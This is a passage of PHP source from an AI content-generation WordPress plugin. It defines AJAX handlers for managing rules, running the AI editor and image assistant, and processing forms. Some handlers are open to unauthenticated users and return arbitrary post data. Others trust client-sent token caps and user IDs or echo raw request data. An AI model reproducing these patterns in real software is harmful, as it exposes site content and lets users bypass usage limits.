die(); } } else { aiomatic_log_to_file('aiomatic_youtube_list empty!'); echo 'nochange'; die(); } } elseif($type == 2) { $GLOBALS['wp_object_cache']->delete('aiomatic_amazon_list', 'options'); if (!get_option('aiomatic_amazon_list')) { $rules = array(); } else { $rules = get_option('aiomatic_amazon_list'); } if (!empty($rules)) { $found = 0; $cont = 0; foreach ($rules as $request => $bundle[]) { if ($cont == $del_id) { $copy_bundle = $rules[$request]; $copy_bundle[2] = '1988-01-27 00:00:00'; $copy_bundle[94] = uniqid('', true); $rules[] = $copy_bundle; $found = 1; break; } $cont = $cont + 1; } if($found == 0) { aiomatic_log_to_file('aiomatic_amazon_list index not found: ' . $del_id); echo 'nochange'; die(); } else { update_option('aiomatic_amazon_list', $rules, false); echo 'ok'; die(); } } else { aiomatic_log_to_file('aiomatic_amazon_list empty!'); echo 'nochange'; die(); } } elseif($type == 3) { $GLOBALS['wp_object_cache']->delete('aiomatic_review_list', 'options'); if (!get_option('aiomatic_review_list')) { $rules = array(); } else { $rules = get_option('aiomatic_review_list'); } if (!empty($rules)) { $found = 0; $cont = 0; foreach ($rules as $request => $bundle[]) { if ($cont == $del_id) { $copy_bundle = $rules[$request]; $copy_bundle[2] = '1988-01-27 00:00:00'; $copy_bundle[88] = uniqid('', true); $rules[] = $copy_bundle; $found = 1; break; } $cont = $cont + 1; } if($found == 0) { aiomatic_log_to_file('aiomatic_review_list index not found: ' . $del_id); echo 'nochange'; die(); } else { update_option('aiomatic_review_list', $rules, false); echo 'ok'; die(); } } else { aiomatic_log_to_file('aiomatic_review_list empty!'); echo 'nochange'; die(); } } elseif($type == 4) { $GLOBALS['wp_object_cache']->delete('aiomatic_csv_list', 'options'); if (!get_option('aiomatic_csv_list')) { $rules = array(); } else { $rules = get_option('aiomatic_csv_list'); } if (!empty($rules)) { $found = 0; $cont = 0; foreach ($rules as $request => $bundle[]) { if ($cont == $del_id) { $copy_bundle = $rules[$request]; $copy_bundle[2] = '1988-01-27 00:00:00'; $copy_bundle[31] = uniqid('', true); $rules[] = $copy_bundle; $found = 1; break; } $cont = $cont + 1; } if($found == 0) { aiomatic_log_to_file('aiomatic_csv_list index not found: ' . $del_id); echo 'nochange'; die(); } else { update_option('aiomatic_csv_list', $rules, false); echo 'ok'; die(); } } else { aiomatic_log_to_file('aiomatic_csv_list empty!'); echo 'nochange'; die(); } } elseif($type == 5) { $GLOBALS['wp_object_cache']->delete('aiomatic_omni_list', 'options'); if (!get_option('aiomatic_omni_list')) { $rules = array(); } else { $rules = get_option('aiomatic_omni_list'); } if (!empty($rules)) { $found = 0; $cont = 0; foreach ($rules as $request => $bundle[]) { if ($cont == $del_id) { $copy_bundle = $rules[$request]; $copy_bundle[2] = '1988-01-27 00:00:00'; $copy_bundle[7] = uniqid('', true); $rules[] = $copy_bundle; $found = 1; break; } $cont = $cont + 1; } if($found == 0) { aiomatic_log_to_file('aiomatic_omni_list index not found: ' . $del_id); echo 'nochange'; die(); } else { update_option('aiomatic_omni_list', $rules, false); echo 'ok'; die(); } } else { aiomatic_log_to_file('aiomatic_omni_list empty!'); echo 'nochange'; die(); } } elseif($type == 6) { $GLOBALS['wp_object_cache']->delete('aiomatic_listicle_list', 'options'); if (!get_option('aiomatic_listicle_list')) { $rules = array(); } else { $rules = get_option('aiomatic_listicle_list'); } if (!empty($rules)) { $found = 0; $cont = 0; foreach ($rules as $request => $bundle[]) { if ($cont == $del_id) { $copy_bundle = $rules[$request]; $copy_bundle[2] = '1988-01-27 00:00:00'; $copy_bundle[95] = uniqid('', true); $rules[] = $copy_bundle; $found = 1; break; } $cont = $cont + 1; } if($found == 0) { aiomatic_log_to_file('aiomatic_listicle_list index not found: ' . $del_id); echo 'nochange'; die(); } else { update_option('aiomatic_listicle_list', $rules, false); echo 'ok'; die(); } } else { aiomatic_log_to_file('aiomatic_listicle_list empty!'); echo 'nochange'; die(); } } else { aiomatic_log_to_file('Unknown type submitted: ' . $type); echo 'nochange'; die(); } } $force_delete = true; $number = 0; if ($how == 'trash') { $force_delete = false; } else { if($type == 5) { $GLOBALS['wp_object_cache']->delete('aiomatic_omni_list', 'options'); if (!get_option('aiomatic_omni_list')) { $rules = array(); } else { $rules = get_option('aiomatic_omni_list'); } $cont = 0; foreach ($rules as $request => $bundle) { if (isset($bundle[7]) && $bundle[7] == $del_id && isset($bundle[4])) { $keyword_arr = preg_split('/\r\n|\r|\n/', trim($bundle[4])); aiomatic_remove_processed_keywords($keyword_arr); break; } $cont = $cont + 1; } } } $post_list = array(); $postsPerPage = 50000; $paged = 0; do { $postOffset = $paged * $postsPerPage; $query = array( 'post_status' => array( 'publish', 'draft', 'pending', 'trash', 'private', 'future' ), 'post_type' => array( 'any' ), 'numberposts' => $postsPerPage, 'meta_key' => 'aiomatic_parent_rule', 'fields' => 'ids', 'offset' => $postOffset ); $got_me = get_posts($query); $post_list = array_merge($post_list, $got_me); $paged++; }while(!empty($got_me)); wp_suspend_cache_addition(true); foreach ($post_list as $post) { $index = get_post_meta($post, 'aiomatic_parent_rule', true); if ($index == $type . '-' . $del_id || $index == $del_id) { $args = array( 'post_parent' => $post ); $post_attachments = get_children($args); if (isset($post_attachments) && !empty($post_attachments)) { foreach ($post_attachments as $attachment) { wp_delete_attachment($attachment->ID, true); } } $res = wp_delete_post($post, $force_delete); if ($res === false) { $failed = true; } else { $number++; } } } wp_suspend_cache_addition(false); if ($failed === true) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('[PostDelete] Failed to delete all posts for rule id: ' . esc_html($del_id) . '!'); } echo 'failed'; } else { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('[PostDelete] Successfuly deleted ' . esc_html($number) . ' posts for rule id: ' . esc_html($del_id) . '!'); } if ($number == 0) { echo 'nochange'; } else { echo 'ok'; } } die(); } add_action('wp_ajax_aiomatic_my_action_move', 'aiomatic_my_action_move_callback'); function aiomatic_my_action_move_callback() { check_ajax_referer('openai-run-nonce', 'nonce'); $del_id = $_POST['id']; if(isset($_POST['type'])) { $type = $_POST['type']; } else { $type = '0'; } $how = $_POST['how']; if($how == 'up') { if($type == 0) { $GLOBALS['wp_object_cache']->delete('aiomatic_rules_list', 'options'); if (!get_option('aiomatic_rules_list')) { $rules = array(); } else { $rules = get_option('aiomatic_rules_list'); } if (!empty($rules)) { if ($del_id > 0 && $del_id < count($rules)) { $temp = $rules[$del_id - 1]; $rules[$del_id - 1] = $rules[$del_id]; $rules[$del_id] = $temp; update_option('aiomatic_rules_list', $rules, false); echo 'ok'; die(); } else { aiomatic_log_to_file('aiomatic_rules_list index out of bounds for move up: ' . $del_id); echo 'nochange'; die(); } } else { aiomatic_log_to_file('aiomatic_rules_list empty!'); echo 'nochange'; die(); } } elseif($type == 1) { $GLOBALS['wp_object_cache']->delete('aiomatic_youtube_list', 'options'); if (!get_option('aiomatic_youtube_list')) { $rules = array(); } else { $rules = get_option('aiomatic_youtube_list'); } if (!empty($rules)) { if ($del_id > 0 && $del_id < count($rules)) { $temp = $rules[$del_id - 1]; $rules[$del_id - 1] = $rules[$del_id]; $rules[$del_id] = $temp; update_option('aiomatic_youtube_list', $rules, false); echo 'ok'; die(); } else { aiomatic_log_to_file('aiomatic_youtube_list index out of bounds for move up: ' . $del_id); echo 'nochange'; die(); } } else { aiomatic_log_to_file('aiomatic_youtube_list empty!'); echo 'nochange'; die(); } } elseif($type == 2) { $GLOBALS['wp_object_cache']->delete('aiomatic_amazon_list', 'options'); if (!get_option('aiomatic_amazon_list')) { $rules = array(); } else { $rules = get_option('aiomatic_amazon_list'); } if (!empty($rules)) { if ($del_id > 0 && $del_id < count($rules)) { $temp = $rules[$del_id - 1]; $rules[$del_id - 1] = $rules[$del_id]; $rules[$del_id] = $temp; update_option('aiomatic_amazon_list', $rules, false); echo 'ok'; die(); } else { aiomatic_log_to_file('aiomatic_amazon_list index out of bounds for move up: ' . $del_id); echo 'nochange'; die(); } } else { aiomatic_log_to_file('aiomatic_amazon_list empty!'); echo 'nochange'; die(); } } elseif($type == 3) { $GLOBALS['wp_object_cache']->delete('aiomatic_review_list', 'options'); if (!get_option('aiomatic_review_list')) { $rules = array(); } else { $rules = get_option('aiomatic_review_list'); } if (!empty($rules)) { if ($del_id > 0 && $del_id < count($rules)) { $temp = $rules[$del_id - 1]; $rules[$del_id - 1] = $rules[$del_id]; $rules[$del_id] = $temp; update_option('aiomatic_review_list', $rules, false); echo 'ok'; die(); } else { aiomatic_log_to_file('aiomatic_review_list index out of bounds for move up: ' . $del_id); echo 'nochange'; die(); } } else { aiomatic_log_to_file('aiomatic_review_list empty!'); echo 'nochange'; die(); } } elseif($type == 4) { $GLOBALS['wp_object_cache']->delete('aiomatic_csv_list', 'options'); if (!get_option('aiomatic_csv_list')) { $rules = array(); } else { $rules = get_option('aiomatic_csv_list'); } if (!empty($rules)) { if ($del_id > 0 && $del_id < count($rules)) { $temp = $rules[$del_id - 1]; $rules[$del_id - 1] = $rules[$del_id]; $rules[$del_id] = $temp; update_option('aiomatic_csv_list', $rules, false); echo 'ok'; die(); } else { aiomatic_log_to_file('aiomatic_csv_list index out of bounds for move up: ' . $del_id); echo 'nochange'; die(); } } else { aiomatic_log_to_file('aiomatic_csv_list empty!'); echo 'nochange'; die(); } } elseif($type == 5) { $GLOBALS['wp_object_cache']->delete('aiomatic_omni_list', 'options'); if (!get_option('aiomatic_omni_list')) { $rules = array(); } else { $rules = get_option('aiomatic_omni_list'); } if (!empty($rules)) { if ($del_id > 0 && $del_id < count($rules)) { $temp = $rules[$del_id - 1]; $rules[$del_id - 1] = $rules[$del_id]; $rules[$del_id] = $temp; update_option('aiomatic_omni_list', $rules, false); echo 'ok'; die(); } else { aiomatic_log_to_file('aiomatic_omni_list index out of bounds for move up: ' . $del_id); echo 'nochange'; die(); } } else { aiomatic_log_to_file('aiomatic_omni_list empty!'); echo 'nochange'; die(); } } elseif($type == 6) { $GLOBALS['wp_object_cache']->delete('aiomatic_listicle_list', 'options'); if (!get_option('aiomatic_listicle_list')) { $rules = array(); } else { $rules = get_option('aiomatic_listicle_list'); } if (!empty($rules)) { if ($del_id > 0 && $del_id < count($rules)) { $temp = $rules[$del_id - 1]; $rules[$del_id - 1] = $rules[$del_id]; $rules[$del_id] = $temp; update_option('aiomatic_listicle_list', $rules, false); echo 'ok'; die(); } else { aiomatic_log_to_file('aiomatic_listicle_list index out of bounds for move up: ' . $del_id); echo 'nochange'; die(); } } else { aiomatic_log_to_file('aiomatic_listicle_list empty!'); echo 'nochange'; die(); } } else { aiomatic_log_to_file('Unknown type submitted: ' . $type); echo 'nochange'; die(); } } elseif($how == 'down') { if($type == 0) { $GLOBALS['wp_object_cache']->delete('aiomatic_rules_list', 'options'); if (!get_option('aiomatic_rules_list')) { $rules = array(); } else { $rules = get_option('aiomatic_rules_list'); } if (!empty($rules)) { if ($del_id >= 0 && $del_id < count($rules) - 1) { $temp = $rules[$del_id + 1]; $rules[$del_id + 1] = $rules[$del_id]; $rules[$del_id] = $temp; update_option('aiomatic_rules_list', $rules, false); echo 'ok'; die(); } else { aiomatic_log_to_file('aiomatic_rules_list index out of bounds for move down: ' . $del_id); echo 'nochange'; die(); } } else { aiomatic_log_to_file('aiomatic_rules_list empty!'); echo 'nochange'; die(); } } elseif($type == 1) { $GLOBALS['wp_object_cache']->delete('aiomatic_youtube_list', 'options'); if (!get_option('aiomatic_youtube_list')) { $rules = array(); } else { $rules = get_option('aiomatic_youtube_list'); } if (!empty($rules)) { if ($del_id >= 0 && $del_id < count($rules) - 1) { $temp = $rules[$del_id + 1]; $rules[$del_id + 1] = $rules[$del_id]; $rules[$del_id] = $temp; update_option('aiomatic_youtube_list', $rules, false); echo 'ok'; die(); } else { aiomatic_log_to_file('aiomatic_youtube_list index out of bounds for move down: ' . $del_id); echo 'nochange'; die(); } } else { aiomatic_log_to_file('aiomatic_youtube_list empty!'); echo 'nochange'; die(); } } elseif($type == 2) { $GLOBALS['wp_object_cache']->delete('aiomatic_amazon_list', 'options'); if (!get_option('aiomatic_amazon_list')) { $rules = array(); } else { $rules = get_option('aiomatic_amazon_list'); } if (!empty($rules)) { if ($del_id >= 0 && $del_id < count($rules) - 1) { $temp = $rules[$del_id + 1]; $rules[$del_id + 1] = $rules[$del_id]; $rules[$del_id] = $temp; update_option('aiomatic_amazon_list', $rules, false); echo 'ok'; die(); } else { aiomatic_log_to_file('aiomatic_amazon_list index out of bounds for move down: ' . $del_id); echo 'nochange'; die(); } } else { aiomatic_log_to_file('aiomatic_amazon_list empty!'); echo 'nochange'; die(); } } elseif($type == 3) { $GLOBALS['wp_object_cache']->delete('aiomatic_review_list', 'options'); if (!get_option('aiomatic_review_list')) { $rules = array(); } else { $rules = get_option('aiomatic_review_list'); } if (!empty($rules)) { if ($del_id >= 0 && $del_id < count($rules) - 1) { $temp = $rules[$del_id + 1]; $rules[$del_id + 1] = $rules[$del_id]; $rules[$del_id] = $temp; update_option('aiomatic_review_list', $rules, false); echo 'ok'; die(); } else { aiomatic_log_to_file('aiomatic_review_list index out of bounds for move down: ' . $del_id); echo 'nochange'; die(); } } else { aiomatic_log_to_file('aiomatic_review_list empty!'); echo 'nochange'; die(); } } elseif($type == 4) { $GLOBALS['wp_object_cache']->delete('aiomatic_csv_list', 'options'); if (!get_option('aiomatic_csv_list')) { $rules = array(); } else { $rules = get_option('aiomatic_csv_list'); } if (!empty($rules)) { if ($del_id >= 0 && $del_id < count($rules) - 1) { $temp = $rules[$del_id + 1]; $rules[$del_id + 1] = $rules[$del_id]; $rules[$del_id] = $temp; update_option('aiomatic_csv_list', $rules, false); echo 'ok'; die(); } else { aiomatic_log_to_file('aiomatic_csv_list index out of bounds for move down: ' . $del_id); echo 'nochange'; die(); } } else { aiomatic_log_to_file('aiomatic_csv_list empty!'); echo 'nochange'; die(); } } elseif($type == 5) { $GLOBALS['wp_object_cache']->delete('aiomatic_omni_list', 'options'); if (!get_option('aiomatic_omni_list')) { $rules = array(); } else { $rules = get_option('aiomatic_omni_list'); } if (!empty($rules)) { if ($del_id >= 0 && $del_id < count($rules) - 1) { $temp = $rules[$del_id + 1]; $rules[$del_id + 1] = $rules[$del_id]; $rules[$del_id] = $temp; update_option('aiomatic_omni_list', $rules, false); echo 'ok'; die(); } else { aiomatic_log_to_file('aiomatic_omni_list index out of bounds for move down: ' . $del_id); echo 'nochange'; die(); } } else { aiomatic_log_to_file('aiomatic_omni_list empty!'); echo 'nochange'; die(); } } elseif($type == 6) { $GLOBALS['wp_object_cache']->delete('aiomatic_listicle_list', 'options'); if (!get_option('aiomatic_listicle_list')) { $rules = array(); } else { $rules = get_option('aiomatic_listicle_list'); } if (!empty($rules)) { if ($del_id >= 0 && $del_id < count($rules) - 1) { $temp = $rules[$del_id + 1]; $rules[$del_id + 1] = $rules[$del_id]; $rules[$del_id] = $temp; update_option('aiomatic_listicle_list', $rules, false); echo 'ok'; die(); } else { aiomatic_log_to_file('aiomatic_listicle_list index out of bounds for move down: ' . $del_id); echo 'nochange'; die(); } } else { aiomatic_log_to_file('aiomatic_listicle_list empty!'); echo 'nochange'; die(); } } else { aiomatic_log_to_file('Unknown type submitted: ' . $type); echo 'nochange'; die(); } } else { aiomatic_log_to_file('Unknown action submitted: ' . $how); echo 'nochange'; die(); } die(); } add_action('wp_ajax_aiomatic_run_my_action', 'aiomatic_run_my_action_callback'); function aiomatic_run_my_action_callback() { check_ajax_referer('openai-run-nonce', 'nonce'); if(!isset($_POST['id'])) { die(); } $run_id = $_POST['id']; if(isset($_POST['type'])) { $type = $_POST['type']; } else { $type = 0; } echo aiomatic_run_rule($run_id, $type, 0, 0, null, '', ''); die(); } add_action('wp_ajax_aiomatic_run_omniblock', 'aiomatic_run_omniblock_callback'); function aiomatic_run_omniblock_callback() { check_ajax_referer('openai-omni-nonce', 'nonce'); if(!isset($_POST['id']) || !isset($_POST['uniquid'])) { die(); } $run_id = $_POST['id']; if(isset($_POST['type'])) { $type = $_POST['type']; } else { $type = 0; } $uniquid = $_POST['uniquid']; $rezult = aiomatic_run_rule($run_id, $type, 0, 0, null, $uniquid, ''); if(is_array($rezult)) { echo json_encode($rezult); } else { echo $rezult; } die(); } add_action('wp_ajax_nopriv_aiomatic_editor', 'aiomatic_editor'); add_action('wp_ajax_aiomatic_editor', 'aiomatic_editor'); function aiomatic_editor() { check_ajax_referer('wp_rest', 'nonce'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['assistant_not_logged']) || $aiomatic_Main_Settings['assistant_not_logged'] == 'disable') { if(!is_user_logged_in()) { wp_send_json_error( array( 'message' => esc_html__("You need to log in to perform this action!", 'aiomatic-automatic-ai-content-writer') ) ); } } if(!isset($_POST['prompt'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (prompt)' ) ); } $prompt = stripslashes(sanitize_text_field( $_POST['prompt'] )); if (isset($aiomatic_Main_Settings['assistant_disable']) && $aiomatic_Main_Settings['assistant_disable'] == 'on') { wp_send_json_error( array( 'message' => 'Assistant disabled in plugin settings' ) ); } if (!isset($aiomatic_Main_Settings['aiomatic_enabled']) || $aiomatic_Main_Settings['aiomatic_enabled'] != 'on') { wp_send_json_error( array( 'message' => 'Aiomatic plugin disabled' ) ); } if(isset($aiomatic_Main_Settings['assistant_model']) && $aiomatic_Main_Settings['assistant_model'] != '') { $model = $aiomatic_Main_Settings['assistant_model']; } else { $model = get_default_model_name($aiomatic_Main_Settings); } if(isset($aiomatic_Main_Settings['wizard_assistant_id']) && $aiomatic_Main_Settings['wizard_assistant_id'] != '') { $wizard_assistant_id = $aiomatic_Main_Settings['wizard_assistant_id']; } else { $wizard_assistant_id = ''; } $temperature = 1; if(isset($aiomatic_Main_Settings['assistant_temperature']) && $aiomatic_Main_Settings['assistant_temperature'] != '') { $temperature = intval($aiomatic_Main_Settings['assistant_temperature']); } $top_p = 1; if(isset($aiomatic_Main_Settings['assistant_top_p']) && $aiomatic_Main_Settings['assistant_top_p'] != '') { $top_p = intval($aiomatic_Main_Settings['assistant_top_p']); } $fpenalty = 0; if(isset($aiomatic_Main_Settings['assistant_fpenalty']) && $aiomatic_Main_Settings['assistant_fpenalty'] != '') { $fpenalty = intval($aiomatic_Main_Settings['assistant_fpenalty']); } $ppenalty = 0; if(isset($aiomatic_Main_Settings['assistant_ppenalty']) && $aiomatic_Main_Settings['assistant_ppenalty'] != '') { $ppenalty = intval($aiomatic_Main_Settings['assistant_ppenalty']); } $max_tokens = aiomatic_get_max_tokens($model); $all_models = aiomatic_get_all_models(true); if(!in_array($model, $all_models)) { $model = get_default_model_name($aiomatic_Main_Settings); } if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { wp_send_json_error( array( 'message' => 'You need to enter an OpenAI API key in plugin settings!' ) ); } $new_post_content = ''; $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $query_token_count = count(aiomatic_encode($prompt)); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($prompt); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $aicontent = aiomatic_substr($prompt, 0, $string_len); $aicontent = trim($aicontent); if(empty($aicontent)) { wp_send_json_error( array( 'message' => 'Incorrect prompt provided!' ) ); } $query_token_count = count(aiomatic_encode($aicontent)); $available_tokens = $max_tokens - $query_token_count; } $thread_id = ''; $aierror = ''; $finish_reason = ''; $generated_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, $temperature, $top_p, $ppenalty, $fpenalty, false, 'aiAssistantWriter', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $wizard_assistant_id, $thread_id, '', 'disabled', '', false); if($generated_text === false) { wp_send_json_error( array( 'message' => 'Failed to generate AI content: ' . $aierror) ); } else { $new_post_content = aiomatic_sanitize_ai_result($generated_text); } do_action('aiomatic_assistant_text_reply', $new_post_content); wp_send_json_success( array( 'content' => $new_post_content ) ); die(); } add_action('wp_ajax_nopriv_aiomatic_shortcode_replacer', 'aiomatic_shortcode_replacer'); add_action('wp_ajax_aiomatic_shortcode_replacer', 'aiomatic_shortcode_replacer'); function aiomatic_shortcode_replacer() { check_ajax_referer('wp_rest', 'nonce'); if(!isset($_POST['postId']) || !isset($_POST['send_prompt'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (postId or send_prompt)' ) ); } $postId = stripslashes(sanitize_text_field( $_POST['postId'] )); $send_prompt = stripslashes( $_POST['send_prompt'] ); $post = get_post($postId); if($post === null) { wp_send_json_error( array( 'message' => 'Incorrect postId sent ' . print_r($_POST, true) ) ); exit; } $blog_title = html_entity_decode(get_bloginfo('title')); $post_link = get_permalink($postId); $post_title = $post->post_title; $post_excerpt = $post->post_excerpt; $post_content = $post->post_content; $author_obj = get_user_by('id', $post->post_author); if($author_obj !== false && isset($author_obj->user_nicename)) { $user_name = $author_obj->user_nicename; } else { $user_name = ''; } $featured_image = ''; wp_suspend_cache_addition(true); $metas = get_post_custom($post->ID); wp_suspend_cache_addition(false); if(is_array($metas)) { $rez_meta = aiomatic_preg_grep_keys('#.+?_featured_ima?ge?#i', $metas); } else { $rez_meta = array(); } if(count($rez_meta) > 0) { foreach($rez_meta as $rm) { if(isset($rm[0]) && filter_var($rm[0], FILTER_VALIDATE_URL)) { $featured_image = $rm[0]; break; } } } if($featured_image == '') { $featured_image = aiomatic_generate_thumbmail($post->ID); } if($featured_image == '' && $post_content != '') { $dom = new DOMDocument(); $internalErrors = libxml_use_internal_errors(true); $dom->loadHTML($post_content); libxml_use_internal_errors($internalErrors); $tags = $dom->getElementsByTagName('img'); foreach ($tags as $tag) { $temp_get_img = $tag->getAttribute('src'); if ($temp_get_img != '') { $temp_get_img = strtok($temp_get_img, '?'); $featured_image = rtrim($temp_get_img, '/'); } } } $post_cats = ''; $post_categories = wp_get_post_categories( $post->ID ); foreach($post_categories as $c){ $cat = get_category( $c ); $post_cats .= $cat->name . ','; } $post_cats = trim($post_cats, ','); if($post_cats != '') { $post_categories = explode(',', $post_cats); } else { $post_categories = array(); } if(count($post_categories) == 0) { $terms = get_the_terms( $post->ID, 'product_cat' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $post_categories[] = $term->slug; } $post_cats = implode(',', $post_categories); } } $post_tagz = ''; $post_tags = wp_get_post_tags( $post->ID ); foreach($post_tags as $t){ $post_tagz .= $t->name . ','; } $post_tagz = trim($post_tagz, ','); if($post_tagz != '') { $post_tags = explode(',', $post_tagz); } else { $post_tags = array(); } if(count($post_tags) == 0) { $terms = get_the_terms( $post->ID, 'product_tag' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $post_tags[] = $term->slug; } $post_tagz = implode(',', $post_tags); } } $send_prompt = replaceAIPostShortcodes($send_prompt, $post_link, $post_title, $blog_title, $post_excerpt, $post_content, $user_name, $featured_image, $post_cats, $post_tagz, $postId, '', '', '', '', '', ''); wp_send_json_success( array( 'content' => $send_prompt ) ); die(); } add_action('wp_ajax_aiomatic_imager', 'aiomatic_imager'); function aiomatic_imager() { check_ajax_referer('wp_rest', 'nonce'); if(!isset($_POST['prompt'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (prompt)' ) ); } $prompt = stripslashes(sanitize_text_field( $_POST['prompt'] )); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['assistant_disable']) && $aiomatic_Main_Settings['assistant_disable'] == 'on') { wp_send_json_error( array( 'message' => 'Assistant disabled in plugin settings' ) ); } if (!isset($aiomatic_Main_Settings['aiomatic_enabled']) || $aiomatic_Main_Settings['aiomatic_enabled'] != 'on') { wp_send_json_error( array( 'message' => 'Aiomatic plugin disabled' ) ); } if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { wp_send_json_error( array( 'message' => 'You need to enter an OpenAI API key in plugin settings!' ) ); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $image_size = '512x512'; if (isset($aiomatic_Main_Settings['assistant_image_size']) && trim($aiomatic_Main_Settings['assistant_image_size']) != '') { $image_size = $aiomatic_Main_Settings['assistant_image_size']; } $image_model = 'dalle2'; if (isset($aiomatic_Main_Settings['assistant_image_model']) && trim($aiomatic_Main_Settings['assistant_image_model']) != '') { $image_model = $aiomatic_Main_Settings['assistant_image_model']; } if($image_model == 'stability') { $echo_ok = false; $height = '512'; $width = '512'; if ($image_size == '1024x1024') { $height = '1024'; $width = '1024'; } $ierror = ''; $arr_response_text = aiomatic_generate_stability_image($prompt, $height, $width, 'aiAssistantStableImage', 0, false, $ierror, false, false); if($arr_response_text === false) { wp_send_json_error( array( 'message' => 'Error occurred when calling Stability.ai API in image assistant: ' . $ierror) ); } else { if(!isset($arr_response_text[1])) { wp_send_json_error( array( 'message' => 'Error occurred when calling Stability.ai API in image assistant, incorrect reply!') ); } $image = ''; $echo_ok = true; } if($echo_ok === false) { wp_send_json_error( array( 'message' => 'No image returned from Stability.ai API call: ' . $prompt) ); } } elseif($image_model == 'midjourney') { $echo_ok = false; $height = '512'; $width = '512'; if ($image_size == '1024x1024') { $height = '1024'; $width = '1024'; } elseif ($image_size == '1024x1792') { $height = '1792'; $width = '1024'; } elseif ($image_size == '1792x1024') { $height = '1024'; $width = '1792'; } $ierror = ''; $arr_response_text = aiomatic_generate_ai_image_midjourney($prompt, $width, $height, 'aiAssistantMidjourneyImage', false, $ierror); if($arr_response_text === false) { wp_send_json_error( array( 'message' => 'Error occurred when calling GoAPI (midjourney) API in image assistant: ' . $ierror) ); } else { if(!isset($arr_response_text)) { wp_send_json_error( array( 'message' => 'Error occurred when calling GoAPI (midjourney) in image assistant, incorrect reply!') ); } $image = ''; $echo_ok = true; } if($echo_ok === false) { wp_send_json_error( array( 'message' => 'No image returned from GoAPI (midjourney) API call: ' . $prompt) ); } } else { $error = ''; $image = ''; $echo_ok = false; $response_text = aiomatic_generate_ai_image($token, 1, $prompt, $image_size, 'aiAssistantImage', true, 0, $error, $image_model); if($response_text === false) { wp_send_json_error( array( 'message' => 'Error occurred when calling API in image assistant: ' . $error) ); } else { foreach($response_text as $tmpimg) { $localpath = aiomatic_copy_image_locally($tmpimg); if($localpath !== false) { $image = ''; $echo_ok = true; break; } else { wp_send_json_error( array( 'message' => 'Failed to copy image file locally: ' . $tmpimg) ); } } } if($echo_ok === false) { wp_send_json_error( array( 'message' => 'No image returned from API call: ' . $prompt) ); } } if($image === false) { wp_send_json_error( array( 'message' => 'Failed to generate AI image: ' . $error) ); } do_action('aiomatic_assistant_image_reply', $image); wp_send_json_success( array( 'content' => $image ) ); die(); } add_action('wp_ajax_aiomatic_form_submit', 'aiomatic_form_submit'); add_action('wp_ajax_nopriv_aiomatic_form_submit', 'aiomatic_form_submit'); function aiomatic_form_submit() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with form submission'); $response_text = ''; if(!isset($_POST['presence']) || !isset($_POST['input_text']) || !isset($_POST['model']) || !isset($_POST['temp']) || !isset($_POST['top_p']) || !isset($_POST['frequency'])) { $aiomatic_result['msg'] = 'Incomplete POST request for form submission'; wp_send_json($aiomatic_result); } $user_token_cap_per_day = sanitize_text_field($_POST['user_token_cap_per_day']); if(!empty($user_token_cap_per_day)) { $user_token_cap_per_day = intval($user_token_cap_per_day); } $user_id = sanitize_text_field($_POST['user_id']); if(isset($_POST['aiomaticType'])) { $aiomaticType = sanitize_text_field($_POST['aiomaticType']); } else { $aiomaticType = 'none'; } $input_text = stripslashes($_POST['input_text']); $model = sanitize_text_field(stripslashes($_POST['model'])); if($model == 'default') { $model = AIOMATIC_DEFAULT_MODEL; } $assistant_id = sanitize_text_field(stripslashes($_POST['assistant_id'])); $temperature = sanitize_text_field($_POST['temp']); $top_p = sanitize_text_field($_POST['top_p']); $presence_penalty = sanitize_text_field($_POST['presence']); $frequency_penalty = sanitize_text_field($_POST['frequency']); $all_models = aiomatic_get_all_models(true); $models = $all_models; if(!in_array($model, $models)) { $aiomatic_result['msg'] = 'Invalid model provided: ' . $model; wp_send_json($aiomatic_result); } $temperature = floatval($temperature); $top_p = floatval($top_p); $presence_penalty = floatval($presence_penalty); $frequency_penalty = floatval($frequency_penalty); if($temperature < 0 || $temperature > 2) { $aiomatic_result['msg'] = 'Invalid temperature provided: ' . $temperature; wp_send_json($aiomatic_result); } if($top_p < 0 || $top_p > 1) { $aiomatic_result['msg'] = 'Invalid top_p provided: ' . $top_p; wp_send_json($aiomatic_result); } if($presence_penalty < -2 || $presence_penalty > 2) { $aiomatic_result['msg'] = 'Invalid presence_penalty provided: ' . $presence_penalty; wp_send_json($aiomatic_result); } if($frequency_penalty < -2 || $frequency_penalty > 2) { $aiomatic_result['msg'] = 'Invalid frequency_penalty provided: ' . $frequency_penalty; wp_send_json($aiomatic_result); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = 'You need to insert a valid OpenAI/AiomaticAPI API Key for this to work!'; wp_send_json($aiomatic_result); } $used_token_count = 0; if(is_numeric($user_token_cap_per_day)) { if(empty($user_id) || $user_id == 0 || !is_numeric($user_id)) { $aiomatic_result['msg'] = sprintf( wp_kses( __( 'You are not allowed to access 